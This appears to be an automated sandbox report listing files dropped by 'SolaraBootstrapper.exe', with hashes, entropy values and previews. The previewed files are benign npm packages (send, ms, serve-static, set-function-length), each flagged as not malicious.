SHA1:	FFB7B88D91CE00E18EB7496D5B30A38018069CAE
SHA-256:	9E6289FAF7A1BDB454335B2234D188C178C6FD932D1533326170ED62D157663E
SHA-512:	0F15221E6A4F6756314F5B6E92105DD2A28858BA479E60F511C6D05EFE5DDBD6E5E646CD47146042575E0DBB249E88F8D59DBCB10FA5004C4CA1E947C70E6B55
Malicious:	false
Preview:	# Security Policies and Procedures..## Reporting a Bug..The `send` team and community take all security bugs seriously. Thank you.for improving the security of Express. We appreciate your efforts and.responsible disclosure and will make every effort to acknowledge your.contributions...Report security bugs by emailing the current owner(s) of `send`. This information.can be found in the npm registry using the command `npm owner ls send`..If unsure or unable to get the information from the above, open an issue.in the [project issue tracker](https://github.com/pillarjs/send/issues).asking for the current contact information...To ensure the timely response to your report, please ensure that the entirety.of the report is contained within the email body and not solely behind a web.link or an attachment...At least one owner will acknowledge your email within 48 hours, and will send a.more detailed response within 48 hours indicating the next steps in handling.your report. After the initial rep

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	23502
Entropy (8bit):	4.883029861419584
Encrypted:	false
SSDEEP:	384:XxKaZnHXuj0j+Ax0HSD1iYojlJlJUDirWEbOqWaeOdz5Qq8m3ZeT9ejdhsb9nag6:oO3usrx0frN9b15AcjAUgVjmb
MD5:	638E22792701426DA6DCFE743A272762
SHA1:	DD7D90E571E262697A0914CE438CECE05EF6F9AF
SHA-256:	9196D51E83C8142B5CA56A4D9A0352DB4E6FE0A983D9AFEB40F8531FB80455A2
SHA-512:	0D232D3831144C806D4815EFC18A19DFC1BD33AE618E37FDBB6766B82DEC84B6ABEBF18548C302AAF452545553BFEC843AF853F7B2DAA33F62EB3893FFBDAF91
Malicious:	false
Preview:	/!. send. * Copyright(c) 2012 TJ Holowaychuk. * Copyright(c) 2014-2022 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var createError = require('http-errors').var debug = require('debug')('send').var deprecate = require('depd')('send').var destroy = require('destroy').var encodeUrl = require('encodeurl').var escapeHtml = require('escape-html').var etag = require('etag').var fresh = require('fresh').var fs = require('fs').var mime = require('mime').var ms = require('ms').var onFinished = require('on-finished').var parseRange = require('range-parser').var path = require('path').var statuses = require('statuses').var Stream = require('stream').var util = require('util')../. Path function references.. * @private. /..var extname = path.extname.var join = path.join.var normalize = path.normalize.var resolve = path.resolve.var sep = path.sep../. Regular expression for identifying a bytes Range header.. * @private. */..var

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\node_modules\ms\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	4.754385499254461
Encrypted:	false
SSDEEP:	48:OvI4pOT+wFLQtahYQlCrFWn5V4W55i8v1BeH321aEEg1JPjayheWy0DywdjyG1JC:OgNywFLQY2SChWn5V4W55F6XeaErOyX4
MD5:	83C46187ED7B1E33A178F4C531C4EA81
SHA1:	EA869663486F513CC4D1CA8312ED52A165C417FA
SHA-256:	E5F0B6A946A9B2B356A28557728410717DF54EA2F599EDB619F9839DF6B7B0E9
SHA-512:	51B45089A53A23C12E28EB889396E2FA71B95085BAA5AC34D71FFB625131BF2FEC3AE98EFEAE537656E20EA257F44E089BCEBC9AD54CF672CDE852102E43E153
Malicious:	false
Preview:	/*. Helpers.. /..var s = 1000;.var m = s 60;.var h = m * 60;.var d = h * 24;.var w = d * 7;.var y = d * 365.25;../*. Parse or format the given `val`.. . Options:. . - `long` verbose formatting [false]. . @param {String\|Number} val. * @param {Object} [options]. * @throws {Error} throw an error if val is not a non-empty string or a number. * @return {String\|Number}. * @api public. /..module.exports = function (val, options) {. options = options \|\| {};. var type = typeof val;. if (type === 'string' && val.length > 0) {. return parse(val);. } else if (type === 'number' && isFinite(val)) {. return options.long ? fmtLong(val) : fmtShort(val);. }. throw new Error(. 'val is not a non-empty string or a valid number. val=' +. JSON.stringify(val). );.};../. Parse the given `str` and return milliseconds.. . @param {String} str. * @return {Number}. * @api private. */..function parse(str) {. str = String(str);. if (str.length > 100) {. return;. }

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\node_modules\ms\license.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	5.100083983397303
Encrypted:	false
SSDEEP:	24:bRDrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bRDaJHlxE3dQHOs5exm3ogFh
MD5:	2B8BC52AE6B7BA58E1629DEABD53986F
SHA1:	AC646EA4EC65CD1FEAC459A194A15A52D147BDCF
SHA-256:	1662FAE9B5314D11CF51284E2DCD1F006A354F7343F08712A730FCFF9A359801
SHA-512:	99536ECE73C2F788FA74C42BFABC044D3966812FFB9A9D30BB9183371999BB4067B26C1B36D40738444A37C341FD5B9B5E833C9D40884B99D39147E5A9E3F3DE
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2020 Vercel, Inc...Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\node_modules\ms\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	4.430071999887843
Encrypted:	false
SSDEEP:	12:7t1BLRJVkIMK/GCjxVMzaFT1oNkQc5s5RBR74J3YGqCVCYcCWhU9R:51BLR2UJFT1ou1s1R76YtCIY1WGR
MD5:	A682078F64A677DDAD1F50307A14B678
SHA1:	C290EB97736177176D071DA4AC855AB995685C97
SHA-256:	1A6B4D9739790C0B94AB96C8CC0507E281C164C311FF4FBF5E57FB8D26290B40
SHA-512:	9E16C5689B57275F4ED624C6954F12299706E2372A60F6173421800DA5EDF9ED52E52FD2B0798F826CDDBADE6CA19A6E6A996960C6697CC2DA0DDECB36409520
Malicious:	false
Preview:	{. "name": "ms",. "version": "2.1.3",. "description": "Tiny millisecond conversion utility",. "repository": "vercel/ms",. "main": "./index",. "files": [. "index.js". ],. "scripts": {. "precommit": "lint-staged",. "lint": "eslint lib/* bin/",. "test": "mocha tests.js". },. "eslintConfig": {. "extends": "eslint:recommended",. "env": {. "node": true,. "es6": true. }. },. "lint-staged": {. ".js": [. "npm run lint",. "prettier --single-quote --write",. "git add". ]. },. "license": "MIT",. "devDependencies": {. "eslint": "4.18.2",. "expect.js": "0.3.1",. "husky": "0.14.3",. "lint-staged": "5.0.0",. "mocha": "4.0.1",. "prettier": "2.0.5". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\node_modules\ms\readme.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1886
Entropy (8bit):	4.949803212299634
Encrypted:	false
SSDEEP:	24:TSBe9CsGdPXkjj6CWe6E1j89DkMlkxZ2oGULLZjlwpVHBbGP7vQV:mBegDojklOxI5UxjeJbGk
MD5:	1E31F4878F79731FEAE6D1BCC2F1CA7A
SHA1:	E5AF6580FACBF96AAC53741846D5845CA716FF97
SHA-256:	8BF6C4F414B123EA2A9375B91982882D01D8561CE7D12E3BB4F448C23359F040
SHA-512:	A59C23B8956ED13C415035F09B19EA03D4C9B6759EF71D042735871F46352F444287B0C3DD55F564DDE5D97CD765E4C1668D757387C0B5889C5858B10C26BF2D
Malicious:	false
Preview:	# ms..![CI](https://github.com/vercel/ms/workflows/CI/badge.svg)..Use this package to easily convert various time formats to milliseconds...## Examples..```js.ms('2 days') // 172800000.ms('1d') // 86400000.ms('10h') // 36000000.ms('2.5 hrs') // 9000000.ms('2h') // 7200000.ms('1m') // 60000.ms('5s') // 5000.ms('1y') // 31557600000.ms('100') // 100.ms('-3 days') // -259200000.ms('-1h') // -3600000.ms('-200') // -200.```..### Convert from Milliseconds..```js.ms(60000) // "1m".ms(2 * 60000) // "2m".ms(-3 * 60000) // "-3m".ms(ms('10 hours')) // "10h".```..### Time Format Written-Out..```js.ms(60000, { long: true }) // "1 minute".ms(2 * 60000, { long: true }) // "2 minutes".ms(-3 * 60000, { long: true }) // "-3 minutes".ms(ms('10 hours'), { long: true }) // "10 hours".```..## Features..- Works both in [Node.js](https://nodejs.org) and in the browser.- If a number is supplied to `ms`, a string

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1571
Entropy (8bit):	4.806645242071415
Encrypted:	false
SSDEEP:	48:DXFYV0VT+MPn2DRxYhNf3+dQuNCHRIzUnFbqye5:D19UMvvdyNInFbqye5
MD5:	331E9BE93662FD4127E84BEED1B3C82C
SHA1:	DC3C65D7EB895741FAEC3AA7419BE8B7ED7F3C5D
SHA-256:	B7DF451530D0B58EE3AED7F355D2AFDF04860F55C32D0D0BB1CEB65B85189B22
SHA-512:	A7C29AB6805A3AC585877CC236108E36FDA23937ECBA8C77BEB1078885C5467CBE3BAC968AA6F4571F59FFB7FD2911BFA5EF39ADC3FD727FF9F7BE50A6F5AFF0
Malicious:	false
Preview:	{. "name": "send",. "description": "Better streaming static file server with Range and conditional-GET support",. "version": "0.18.0",. "author": "TJ Holowaychuk <tj@vision-media.ca>",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "James Wyatt Cready <jcready@gmail.com>",. "Jes.s Legan.s Combarro <piranna@gmail.com>". ],. "license": "MIT",. "repository": "pillarjs/send",. "keywords": [. "static",. "file",. "server". ],. "dependencies": {. "debug": "2.6.9",. "depd": "2.0.0",. "destroy": "1.2.0",. "encodeurl": "~1.0.2",. "escape-html": "~1.0.3",. "etag": "~1.8.1",. "fresh": "0.5.2",. "http-errors": "2.0.0",. "mime": "1.6.0",. "ms": "2.1.3",. "on-finished": "2.4.1",. "range-parser": "~1.2.1",. "statuses": "2.0.1". },. "devDependencies": {. "after": "0.8.2",. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\serve-static\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10537
Entropy (8bit):	4.7665307771987315
Encrypted:	false
SSDEEP:	192:afmz/Bgt7ZlMa2xZ+vfj5Jxjt9E620KWdSDe3z6aLNm6/5ajOoHEi2J71D2ann7+:s9+xWTpZCW4ZF
MD5:	D460E9636FA12D04AB2439D2660C2DEE
SHA1:	730FD99A27A77117AEBCD298D0C0330068309ACF
SHA-256:	A93DBAA07121D81A3B20EF0430835751C7BB4EBEC598D7C5757CD918F2B51526
SHA-512:	211B5B18FC317CB2C2BAB7D26A581BD2D0056FBE25D838ED1DD6F7C7D32E01DB4969BA07CF50EB4425468430C1DDF9796304562530D044BF134B23DFED57AAFB
Malicious:	false
Preview:	1.15.0 / 2022-03-24.===================.. * deps: send@0.18.0. - Fix emitted 416 error missing headers property. - Limit the headers removed for 304 response. - deps: depd@2.0.0. - deps: destroy@1.2.0. - deps: http-errors@2.0.0. - deps: on-finished@2.4.1. - deps: statuses@2.0.1..1.14.2 / 2021-12-15.===================.. * deps: send@0.17.2. - deps: http-errors@1.8.1. - deps: ms@2.1.3. - pref: ignore empty http tokens..1.14.1 / 2019-05-10.===================.. * Set stricter CSP header in redirect response. * deps: send@0.17.1. - deps: range-parser@~1.2.1..1.14.0 / 2019-05-07.===================.. * deps: parseurl@~1.3.3. * deps: send@0.17.0. - deps: http-errors@~1.7.2. - deps: mime@1.6.0. - deps: ms@2.1.1. - deps: statuses@~1.5.0. - perf: remove redundant `path.normalize` call..1.13.2 / 2018-02-07.===================.. * Fix incorrect end tag in redirects. * deps: encodeurl@~1.0.2. - Fix encoding `%` as last character. * deps:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\serve-static\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1189
Entropy (8bit):	5.18664113055731
Encrypted:	false
SSDEEP:	24:PwiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:YiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	27B1707520B14D0BC890F4E75CD387B0
SHA1:	B64277842BAF8DC240F2DBD3BA92AD47295CD833
SHA-256:	63B9A188D7D43E64B0558B7115255045B9FE20A5FC3FF483421CB899E7F52BCB
SHA-512:	7046DEA66E03A5AA88A8C0658824EFD17E87FAB8F184CE2FD9AF9620961FD2E72EAC8DBD7D0FF70FAE99433D517B5CD927C1217E362620F1991629CAF1BD2C84
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2010 Sencha Inc..Copyright (c) 2011 LearnBoost.Copyright (c) 2011 TJ Holowaychuk.Copyright (c) 2014-2016 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.C

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\serve-static\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7812
Entropy (8bit):	4.900247938569799
Encrypted:	false
SSDEEP:	192:ClQe5+IIF2afJ9Cmy4FNhgd+jCW7n6OQZGSHa1XP:pFhfP1Ff7XQZ9a1/
MD5:	8EB080567B88684DCC6729DF62F472FB
SHA1:	080B006AF31ED97EA5B899A5CA5AB3DA10ED7BD2
SHA-256:	7C2479F5A6B23AE5C27A5383969788C19D2F3C36839F5691CF2C0CE27B54CD68
SHA-512:	532A28AA62FF1B98D3AD5BA6B5D85A8789BADB967E35F067235AA5B7C462DFA994245D7F68B895BF3FD02F0C5694A8E48E5F91A20E758ADC7CBE143786B75358
Malicious:	false
Preview:	# serve-static..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Linux Build][github-actions-ci-image]][github-actions-ci-url].[![Windows Build][appveyor-image]][appveyor-url].[![Test Coverage][coveralls-image]][coveralls-url]..## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install serve-static.```..## API..```js.var serveStatic = require('serve-static').```..### serveStatic(root, options)..Create a new middleware function to serve files from within a given root.directory. The file to serve will be determined by combining `req.url`.with the provided root directory. When a file is not found, instead of.sending a 404 response, this module will instead call `next()` to move on.to the next middleware, allowing for stacking and

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\serve-static\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	4570
Entropy (8bit):	4.814119702173696
Encrypted:	false
SSDEEP:	96:U5iiqzjxK4F4PTTMMatmWiuj8GvWbWc3THjefc4WoU:UrqzjxjFYwMaHQGvWicDjkc4WoU
MD5:	3707F8D6EE2C6D88FFAB23C0C4F1509B
SHA1:	1245000610229E2F79A8FFA95A40B08242371DB0
SHA-256:	768D6407E86BA974E7B8A0E79625E76A932B1F2503207C87F871FCF98BE21B1E
SHA-512:	CCB0EF9F4BEF48F16CFCF54322D306AB04920BD1339D3B667269BDA092E2B4CE5372ADD10A683AE9E2A7451DF168CEB494667FA2B50CE1DBC1FC468EAD6D715C
Malicious:	false
Preview:	/!. serve-static. * Copyright(c) 2010 Sencha Inc.. * Copyright(c) 2011 TJ Holowaychuk. * Copyright(c) 2014-2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var encodeUrl = require('encodeurl').var escapeHtml = require('escape-html').var parseUrl = require('parseurl').var resolve = require('path').resolve.var send = require('send').var url = require('url')../. Module exports.. * @public. /..module.exports = serveStatic.module.exports.mime = send.mime../. @param {string} root. * @param {object} [options]. * @return {function}. * @public. */..function serveStatic (root, options) {. if (!root) {. throw new TypeError('root path required'). }.. if (typeof root !== 'string') {. throw new TypeError('root path must be a string'). }.. // copy options object. var opts = Object.create(options \|\| null).. // fall-though. var fallthrough = opts.fallthrough !== false.. // default redirect. var redirect = opts.re

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\serve-static\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	4.774022472328274
Encrypted:	false
SSDEEP:	24:KI3rH1etPlI6RxFs/QRYuNCHRIZBlW2wfM9pjZKLl105P6u:KAxc9VRxFXYuNCHRIzU26M3jo703
MD5:	C72C82DF31AD86A65E2E48C33C03988B
SHA1:	EED66F41A584415A2BFDE1842522C4AFF72D98C5
SHA-256:	9A5793EE291365AA13C0DA4148F7150B5FAB012D03A6FBD8AC456463C745BD18
SHA-512:	BA67DA54A20C64BA131D878E54BA13C59FEB75B6F9FE3FA8318A98928A603FD14494D3127C917F2A3787C95C41DBA3B27281C772CDE5696777B518B3B53FEBF0
Malicious:	false
Preview:	{. "name": "serve-static",. "description": "Serve static files",. "version": "1.15.0",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "repository": "expressjs/serve-static",. "dependencies": {. "encodeurl": "~1.0.2",. "escape-html": "~1.0.3",. "parseurl": "~1.3.3",. "send": "0.18.0". },. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.2.2",. "nyc": "15.1.0",. "safe-buffer": "5.2.1",. "supertest": "6.2.2". },. "files": [. "LICENSE",. "HISTORY.md",. "index.js". ],. "engines": {. "node": ">= 0.8.0". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "nyc --reporter=lcov --reporter=text npm test",.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	404
Entropy (8bit):	4.641505932782478
Encrypted:	false
SSDEEP:	12:ErxN1nqqvn0uJSHqkjxN0nNzqqvgI/Z9IUsX:Erxfbv/S5iNbvgI/Z9IJ
MD5:	958819B0CFC4FDAB8D082765759902DE
SHA1:	968156D36F95DA6E5B9F535A394A7466DE632782
SHA-256:	015178C037E4DB81415AAB3D6ACD2A4EF66341EC500F900EECA61349802A3FB6
SHA-512:	59A9A196BC520703FADCD200BA3072EB2ACA951372F88AE6491C0126D54E093DAEEA95FEEF0B555256CE5914C583A28099484CAC4D73AA088F425A1C220F6174
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."id-length": "off",..."new-cap": ["error", {...."capIsNewExceptions": [....."GetIntrinsic"....],...}],..."no-extra-parens": "off",..},..."overrides": [...{...."files": ["test/*/.js"],...."rules": {....."id-length": "off",....."max-lines-per-function": "off",....."multiline-comment-style": "off",....."no-empty-function": "off",....},...},..],.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	563
Entropy (8bit):	4.602395768056389
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggM5azFlgM01bZBgMoGbQjgMy9gMLzgMT:qoQWAg0g+H0mgNFlg7g1GegJ9gEzgs
MD5:	999B44EFE89CCAA850EEBF94382A50F3
SHA1:	C1A2B9E96EE391DCB623AA0BFF1AD5A069614854
SHA-256:	BB2F341B76359BFE3F959FB2B1A922212CFDBA4EDB48D108EF848D8A39EC6BF1
SHA-512:	6C155B5D9AEAF5956C0000C2DE4145B62F72C10519AC5A2CD3031EDCA25383056A93685EC52CE4578759E6AC0A351099C9F41446171380504201A5C153A556B5
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/set-function-name.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with a single custom sponsorship URL.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\.nycrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.771900676344982
Encrypted:	false
SSDEEP:	6:Kw9OfyFdRaB9yq2TpR6S8U7XfUGUiMIOJHhBK:5O6FTaB9WTpR65U7cAMjJHe
MD5:	C2AB942102236F987048D0D84D73D960
SHA1:	95462172699187AC02EAEC6074024B26E6D71CFF
SHA-256:	948366FEA3B423A46366326D0BB2E54B08ABD1CF0B243678BA6625740C40DA5A
SHA-512:	E36B20C16CEEB090750F3865EFC8D7FD983AE4E8B41C30CC3865D2FD4925BF5902627E1F1ED46C0FF2453F076EF9DE34BE899EF57754B29CD158440071318479
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."lines": 86,.."statements": 85.93,.."functions": 82.43,.."branches": 76.06,.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	5.28162329209841
Encrypted:	false
SSDEEP:	96:E5yEpQIJNQP7jcYLgsQBfgvvkpRK1LJ7sQTF693HjrbLQn1IXFJidmxh:EgiQIJ6TjcYLgsQBo0pRK1LJ7sQTF69p
MD5:	6D4CBD4D65B24AA4BC8B68994E229941
SHA1:	54FE62232E30863C8949A3620BCCE460840C69B3
SHA-256:	0081798E43CB0864824314C375ECA40B031FA009F6ED27CF6F24E856D01FF759
SHA-512:	0D24E8AE3FAA357EC28A789EC6557075213DB37FD03D14675E4E796CD60BCA5CEE4C7DF7B69A617D6FB3D8DE3C964B62D9787687FC00374FD0D0A6F5ACBE9802
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.2.2](https://github.com/ljharb/set-function-length/compare/v1.2.1...v1.2.2) - 2024-03-09..### Commits..- [types] use shared config [`027032f`](https://github.com/ljharb/set-function-length/commit/027032fe9cc439644a07248ea6a8d813fcc767cb).- [actions] remove redundant finisher; use reusable workflow [`1fd4fb1`](https://github.com/ljharb/set-function-length/commit/1fd4fb1c58bd5170f0dcff7e320077c0aa2ffdeb).- [types] use a handwritten d.ts file instead of emit [`01b9761`](https://github.com/ljharb/set-function-length/commit/01b9761742c95e1118e8c2d153ce2ae43d9731aa).- [Deps] update `define-data-property`, `get-intrinsic`, `has-property-descriptors` [`bee8eaf`](https://github.com/ljharb/set-function-length/commit/bee8eaf7749f325357ade85cf

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1083
Entropy (8bit):	5.078342100284353
Encrypted:	false
SSDEEP:	24:vlrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:9aJHlxE3dQHOs5exm3ogFh
MD5:	19283EE92F78C91154834571C1F05A94
SHA1:	ACBFF97B52A807A3661247328DC45DF636D7B8F7
SHA-256:	BF9B0D665BE2A689851EEA667CA9F42066EA1D903B38349C51E6A44B2577680A
SHA-512:	22369CC02AF1D2A345A70A415DE9E690F3F14AD6567F216924BF05DCF01DBBDE7C6B3A08CF87D5EDF1CA3B5A793D504E532F3A7C828964E97024334135B57369
Malicious:	false
Preview:	MIT License..Copyright (c) Jordan Harband and contributors..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT O

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2167
Entropy (8bit):	5.068958485134736
Encrypted:	false
SSDEEP:	48:H1eI4I7qP55IK6mjF9KdhxUzOPxOi38DPTh3IL0ICCI8wv:VXFeP7IDSyPEigTh4LxCL8a
MD5:	66CA68BB26AC000BE6457E945A2507F0
SHA1:	516686C84378E1EA4FE4BDA7396D4DFA95F605BE
SHA-256:	54212493DCEC62FEC941C5A8231D65F57770DB3A3F68897CE838D7E8243F4D37
SHA-512:	55E6ADDE7060987B5B6A8C25883D4301EB84ED4EAFCA4B59F3A59E796AA830E0E7FA0F045EAAF12617D3972575112FD4086880B4CCFDBC4077D903B49E2703E9
Malicious:	false
Preview:	# set-function-length <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Set a function.s length...Arguments:. - `fn`: the function. - `length`: the new length. Must be an integer between 0 and 2**32.. - `loose`: Optional. If true, and the length fails to be set, do not throw. Default false...Returns `fn`...## Usage..```javascript.var setFunctionLength = require('set-function-length');.var assert = require('assert');..function zero() {}.function one(_) {}.function two(_, __) {}..assert.equal(zero.length, 0);.assert.equal(one.length, 1);.assert.equal(two.length, 2);..assert.equal(setFunctionLength(zero, 10), zero);.assert.equal(setFunctionLength(one, 11), one);.assert.equal(setFunctionLength(two, 12), two);..assert.equal(zero.length, 10);.assert.equal(one.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\env.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.651162342575511
Encrypted:	false
SSDEEP:	6:6cD6XbK/QQCnmRE1pP/7MlrRE1p5AQCnmRE1p5LMlrRE1pygQiZn:7D6XG+m+VM++m+M+YgQiZ
MD5:	F9BFAF0FBE929BE59E378140244FF21B
SHA1:	EB69950B8573CA5C3A14F6E9D7B9BF309980D9CD
SHA-256:	3AA1D02AAAAD7915A3F62B8A679BA9C81FFCE8539089127EABC60FC50D5C39DC
